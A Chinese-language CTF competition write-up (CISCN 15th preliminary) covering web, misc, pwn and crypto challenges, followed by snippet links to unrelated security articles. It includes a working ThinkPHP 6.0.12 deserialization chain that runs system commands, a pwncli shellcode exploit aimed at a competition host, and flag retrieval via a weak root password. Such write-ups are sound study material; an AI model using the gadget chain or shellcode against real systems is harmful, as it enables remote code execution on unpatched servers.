第十五届全国大学生信息安全竞赛(ciscn初赛) 部分writeup

2023-11-14

杂项的附件地址:https://share.weiyun.com/BZyngGSZ

web

Ezpop

thinphp6.0.12LST反序列化链,www.zip 给源码,test路由里面a参数反序列化
利用链:ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['cat /flag.txt']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo urlencode(serialize(new think\model\Pivot(new think\model\Pivot())));
}

直接拿flag

misc

everlasting_night

图片尾部有一串乱码,长度是32,猜想md5
在这里插入图片描述
md5解得第一段key:ohhWh04m1
在这里插入图片描述
使用stegsolve打开,Alpha2通道发现lsb隐写痕迹
在这里插入图片描述

提取得到第二段key:f78dcd383f1b574b
在这里插入图片描述
图片的其他通道还有lsb隐写痕迹,猜想是有密码的lsb隐写(cloacked-pixel),测试后发现key2是密码
在这里插入图片描述
010打开发现是zip文件,改后缀,用key1作为密码解压得到无后缀文件flag,png文件头后面插的是bmp格式的数据,无法正常显示

可以改后缀为bmp,同时把文件头换成bmp的
在这里插入图片描述
修改位深度为24,写脚本爆破图片宽度,宽度为352时可以正常显示
在这里插入图片描述
或者,修改图片后缀为data,接着用gimp打开,修改宽度同样可以看到flag,具体操作可以参考[V&N2020 公开赛]内存取证

ez_usb

usb流量,使用tshark提取

tshark -r ez_usb.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt #提取并去除空行

发现有键盘流量,写脚本还原得到的数据转hex,发现rar文件头,但是无法正常打开

于是使用wireshark分析,发现有两个来源不同的键盘流量,导致得到的结果异常
在这里插入图片描述
于是分别过滤,然后选择文件→导出特定分组→重命名一个后缀为pcapng的流量包
再使用前面的命令,提取各自数据

tshark -r usb.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt #提取并去除空行

在这里插入图片描述
在这里插入图片描述
接着使用脚本分别还原数据

normalKeys = {
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
         "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
         "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
         "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
         "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
         "44":"<F11>","45":"<F12>"}
shiftKeys = {
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
          "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
          "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
          "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass

keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass

for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass

print ('output :' + "".join(output))

两股数据长度不一,长的那串是加密的rar文件数据,短的那一串解出35c535765e50074a
在这里插入图片描述
使用这个字符串作为密码,成功解压得到flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}

问卷调查

填问卷
flag{Thanksforplayingourgames}

pwn

login-nomal

绕过一些判断,注入shellcode

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

shellcode = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

data1 = "opt: 0001\n" + "msg: ro0tt\n" + "\r\n"

sla(">>> ", data1)

sleep(1)

data2 = "opt: 0002\n" + f"msg: {shellcode}\n" + "\r\n"

sla(">>> ", data2)

ia()
python3 exp.py re ./login 47.93.122.177:35298
ls
cat flag

crypto

签到电台

这个题挺有意义的

豪密,是中国共产党和中国工农红军第一本无线电通讯密码的简称,由周恩来同志亲自编制,以周恩来党内化名“伍豪”命名,它是我党建立机要工作最早也是保密性能最强的一种密码,从二十世纪三十年代到全国解放,都始终未被破译。
春秋GAME伽玛实验室团队通过对豪密的加密模式进行分析,并参考已有的文献资料,仿制豪密的加密方法,制作成一道题目,谨以此题致敬情报战线的先辈们。让我们一起穿越百年,追寻红色通信足迹。

通过密码本前28位和1732 2514 1344 0356 0451 6671 0055进行模10算法,得到要发送的电码3621724021078286201757099182

a = "2999573618638930266691389137"
b = "1732251413440356045166710055"

for i in range(len(a)):
    print((int(a[i])+int(b[i]))%10,end="")

发送电码获取flag
在这里插入图片描述

基于挑战码的双向认证

这三个题被非预期烂了…

ssh连接之后,翻翻找找,在/root/cube-shell/instance/flag_server/处发现两个flag文件
执行 cat flag1.txt得到flag
在这里插入图片描述

基于挑战码的双向认证2

在/root/cube-shell/instance/flag_server/
执行 cat flag2.txt得到flag

基于挑战码的双向认证3

换了个靶机,连接靶机之后,像前两题那样寻找flag,但是部分目录需要权限,于是su root获取权限
但是需要密码,尝试弱口令,发现密码是toor

结果flag还在/root/cube-shell/instance/flag_server/flag2.txt,多少是有点离谱的。。。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

第十五届全国大学生信息安全竞赛(ciscn初赛) 部分writeup 的相关文章

  • 网络安全从入门到精通(超详细)学习路线

    首先看一下学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想
  • 盘点那些年我们一起玩过的网络安全工具

    大家好 我是IT共享者 这篇文章给大家盘点那些年 我们一起玩过的网络安全工具 一 反恶意代码软件 1 Malwarebytes 这是一个检测和删除恶意的软件 包括蠕虫 后门 流氓 拨号器 间谍软件等等 快如闪电的扫描速度 具有隔离功能 并让
  • 适用于任何公司的网络安全架构

    1 第一等级 基础级 优势 可防范基本有针对性的攻击 使攻击者难以在网络上推进 将生产环境与企业环境进行基本隔离 劣势 默认的企业网络应被视为潜在受损 普通员工的工作站以及管理员的工作站可能受到潜在威胁 因为它们在生产网络中具有基本和管理员
  • 软件开发和网络安全哪个更好找工作?

    为什么今年应届毕业生找工作这么难 有时间去看看张雪峰今年为什么这么火就明白了 这么多年人才供给和需求错配的问题 在经济下行的今年 集中爆发 供给端 大学生越来越多 需求端 低端工作大家不愿去 高端岗位又太少 很多基础行业 比如机械 土木 所
  • The Planets:Venus

    靶场下载 The Planets Venus VulnHub 信息收集 arp scan l Interface eth0 type EN10MB MAC 00 0c 29 43 7c b1 IPv4 192 168 1 60 Starti
  • 掌握内网渗透之道,成为实战高手,看《内网渗透实战攻略》就够了

    文末送书 文末送书 今天推荐一本网络安全领域优质书籍 内网渗透实战攻略 文章目录 前言 如何阅读本书 目录 文末送书 前言 当今 网络系统面临着越来越严峻的安全挑战 在众多的安全挑战中 一种有组织 有特定目标 长时间持续的新型网络攻击日益猖
  • Web 安全漏洞之 OS 命令注入

    什么是 OS 命令注入 上周我们分享了一篇 Web 安全漏洞之 SQL 注入 其原理简单来说就是因为 SQL 是一种结构化字符串语言 攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句 而今天要讲的 OS 命令注入其实原理和 SQL
  • 5个步骤,教你瞬间明白线程和线程安全

    记得今年3月份刚来杭州面试的时候 有一家公司的技术总监问了我这样一个问题 你来说说有哪些线程安全的类 我心里一想 这我早都背好了 稀里哗啦说了一大堆 他又接着问 那你再来说说什么是线程安全 然后我就GG了 说真的 我们整天说线程安全 但是对
  • SRC漏洞挖掘经验+技巧篇

    一 漏洞挖掘的前期 信息收集 虽然是前期 但是却是我认为最重要的一部分 很多人挖洞的时候说不知道如何入手 其实挖洞就是信息收集 常规owasp top 10 逻辑漏洞 重要的可能就是思路猥琐一点 这些漏洞的测试方法本身不是特别复杂 一般混迹
  • J2EE常见面试题(一)

    StringBuilder和StringBuffer的区别 String 字符串常量 不可变 使用字符串拼接时是不同的2个空间 StringBuffer 字符串变量 可变 线程安全 字符串拼接直接在字符串后追加 StringBuilder
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • 2024年金三银四网络安全考试试题

    2023年金三银四网络安全考试试题 1 关于数据使用说法错误的是 A 在知识分享 案例中如涉及客户网络数据 应取敏感化 不得直接使用 B 在公开场合 公共媒体等谈论 传播或发布客户网络中的数据 需获得客户书面授权或取敏感化 公开渠道获得的除
  • 「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

    1 什么是 CSRF 面试的时候的著名问题 谈一谈你对 CSRF 与 SSRF 区别的看法 这个问题 如果我们用非常通俗的语言讲的话 CSRF 更像是钓鱼的举动 是用户攻击用户的 而对于 SSRF 来说 是由服务器发出请求 用户 日 服务器
  • 远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制_raylink todesk

    目录 一 前言 二 远程控制中的安全威胁 三 国内外远控软件安全机制 ToDesk RayLink Teamviewer Splashtop 四 安全远控预防 一 前言 近期 远程控制话题再一次引起关注 据相关新闻报道 不少不法分子利用远程
  • 【网安神器篇】——WPScan漏洞扫描工具

    目录 一 Wordpress简介 二 WPScan介绍 三 安装 四 获取token 1 注册账号 2 拿到token 五 使用教程 1 常用选项 2 组合命令 1 模糊扫描 2 指定扫描用户 3 插件漏洞扫描 4 主题漏洞扫描 5 Tim
  • 渗透测试常用工具汇总_渗透测试实战

    1 Wireshark Wireshark 前称Ethereal 是一个网络分包分析软件 是世界上使用最多的网络协议分析器 Wireshark 兼容所有主要的操作系统 如 Windows Linux macOS 和 Solaris kali
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 【安全】mybatis中#{}和${}导致sql注入问题及解决办法

    0 问题 使用mybatis的时候遇到了 和 可能导致sql注入的问题 1 预先了解 1 底层通过prepareStatement对当前传入的sql进行了预编译 一个 被解析为一个参数占位符 解析之后会将String类型的数据自动加上引号
  • 【安全】网络安全态势感知

    文章目录 一 态势感知简介 1 概念 2 形象举例 3 应具备的能力 二 为什么要态势感知 为什么网络安全态势感知很重要 三 态势感知系统的功能 四 如何评估态势感知的建设结果 五 什么是态势感知的三个层级 四 业界的态势感知产品 1 安全
  • 我如何检查 base64 字符串是否是文件(什么类型?)?

    我参加了 Spentalkux 挑战https 2020 ractf co uk https 2020 ractf co uk 这是我第一次参加CTF挑战 所以我解决了https github com W3rni0 RACTF 2020 b

随机推荐

  • [深入研究4G/5G/6G专题-23]: 5G NR开机流程4.1 - 随机接入请求消息MSG1与PRACH首个上行信道的调度、时间提前量TA的检测

    作者主页 文火冰糖的硅基工坊 文火冰糖 王文兵 的博客 文火冰糖的硅基工坊 CSDN博客 本文网址 目录 前言 前置条件 第1章 随机接入知识准备
  • Java 到底是值传递还是引用传递?

    在开始深入讲解之前 有必要纠正一下大家以前的那些错误看法了 如果你有以下想法 那么你有必要好好阅读本文 错误理解一 值传递和引用传递 区分的条件是传递的内容 如果是个值 就是值传递 如果是个引用 就是引用传递 错误理解二 Java是引用传递
  • jwt 使用介绍

    JSON Web Token 缩写 JWT 是目前最流行的跨域认证解决方案 本文介绍它的原理和用法 一 跨域认证的问题 互联网服务离不开用户认证 一般流程是下面这样 1 用户向服务器发送用户名和密码 2 服务器验证通过后 在当前对话 ses
  • centos7编译安装基于fastcgi模式的LAMP架构

    工作过程 1 当客户请求的是静态资源时 web服务器会直接把静态资源返回客户端 2 当客户端请求的是动态资源时 httpd的php模块会进行相应的动态资源运算 如果此时过程还需要数据库的数据作为运算参数时 php会连接mysql取得数据然后
  • 【软件测试】自动化测试战零基础教程——Python自动化从入门到实战(五)

    整理不易 希望对各位学习软件测试能带来帮助 第四章 自动化测试模型 一个自动化测试框架就是一个集成体系 在这一体系中包含测试功能的函数库 测试数据源 测试对象识别标准 以及种可重用的模块 自动化测试框架在发展的过程中经历了几个阶段 模块驱动
  • 求第N个丑数

    原问题描述 把只包含质因子2 3和5的数称作丑数 Ugly Number 例如6 8都是丑数 但14不是 因为它包含质因子7 习惯上我们把1当做是第一个丑数 求按从小到大的顺序的第N个丑数 这个题不是很难 基本上看完题就能想出解法 但是要想
  • 微信小程序连接本地服务器(在本地服务器上进行真机测试-微信开发者工具)

    1 前言 最近做小程序 一直用的是本地服务器接口 在用真机测试的时候 发现动态数据并不能同步 研究了一下发现操作很简单 2 配置步骤 1 首先打开微信开发者工具 打开右上角的详情 点击本地设置 勾选下面的不校验合法域名 2 打开手机的热点
  • vue应用vue-pdf打包多出一个worker.js文件

    项目要用到pdf预览功能 因为是vue项目就是直接导入了vue pdf组件 但是在进行打包的时候在dist文件夹下面多个worker js文件 导致项目部署后预览pdf直接报了404 后来尝试了很多办法去解决 但是都是不太好用 目前有两种解
  • ASP.NET Core WebAPI学习-1

    Web API学习 ASP NET Core WebAPI学习 1 ASP NET Core WebAPI学习 2 ASP NET Core WebAPI学习 3 ASP NET Core WebAPI学习 4 ASP NET Core W
  • xshell + xmanager 图形化工具使用

    这里使用 Xshell6 0 Xmananger6 0工具 注意 很多资料说 在root下 export DISPLAY 0 0 然后xhost 就可以直接连接 但是在操作中始出现不了图形 后来使用下面的xshell xmanager工具时
  • python离散事件仿真库SimPy官方教程

    参考 SimPy Discrete event simulation for Python 建议先简单了解仿真原理 离散事件仿真原理DES 简单介绍 simpy的实现关键在于生成器的使用 通过例子说明一下 生成器function use y
  • Python 爬虫 NO.4 HTTP 响应状态码

    1 HTTP 响应状态码 响应状态码 即 Response Status Code 表示服务器的响应状态 如 200 代表服务器正常响应 404 代表页面未找到 500 代表服务器内部发生错误 在爬虫中 我们可以根据状态码来判断服务器响应状
  • SIGIR'22

    1 背景 近年来 因果推断在推荐 广告 用户增长等领域得到越来越多的关注和应用 如在用户 客户增长领域的消息发送和权益分发方面 为了兼顾用户体验和平台效率 不仅需要预估用户在接受不同权益下的转化概率 还需要预估用户自然情况下未接收干预的转化
  • cocos2d-x屏幕适配原理分析

    转自 https www 2cto com kf 201212 175527 html https blog csdn net u012861978 article details 53233892 分析 designResolutionS
  • QT5.11下载与安装教程

    一 QT软件下载 Qt 5 9 之后的安装包与之前相比 不再区分 VS 版本和 MinGW 版本 而是全都整合到了一个安装包中 因此 与之前的安装包相比 体积也是大了不少 以前是 1G 多 现在是 2G 多 QT5 9 0安装包 QT5 8
  • 电商打折套路解析

    1 分析出 各个品牌都有多少商品参加了双十一活动 这里面有个问题 最后在设置分类是设置错了 应该有4个类 少量少打折 少量大打折 大量小打折 大量大打折 分析思路可以参考下面的思维导图 import numpy as np import p
  • 使用Matplotlib画心形函数图

    函数如下 代码如下 import numpy as np import matplotlib pyplot as plt 导入模块 t np arange 6 6 0 1 x 16 np power np sin t 3 y 13 np c
  • labview与三菱PLC通讯研究

    labview 与三菱 PLC 通讯研究 一 介绍Labview Labvie是实验室虚拟仪器工程工作台 Labview Virtual Instruments Engineering Workbench 的简称 是美国国家仪器公司开发的虚
  • Spring 日志框架

    Spring5 日志使用 Spring jcl 模块 测试一下spring5 的默认日志实现 public class LogDemo public static void main String args Log logger LogFa
  • 第十五届全国大学生信息安全竞赛(ciscn初赛) 部分writeup

    杂项的附件地址 https share weiyun com BZyngGSZ CISCN web Ezpop misc everlasting night ez usb 问卷调查 pwn login nomal crypto 签到电台 基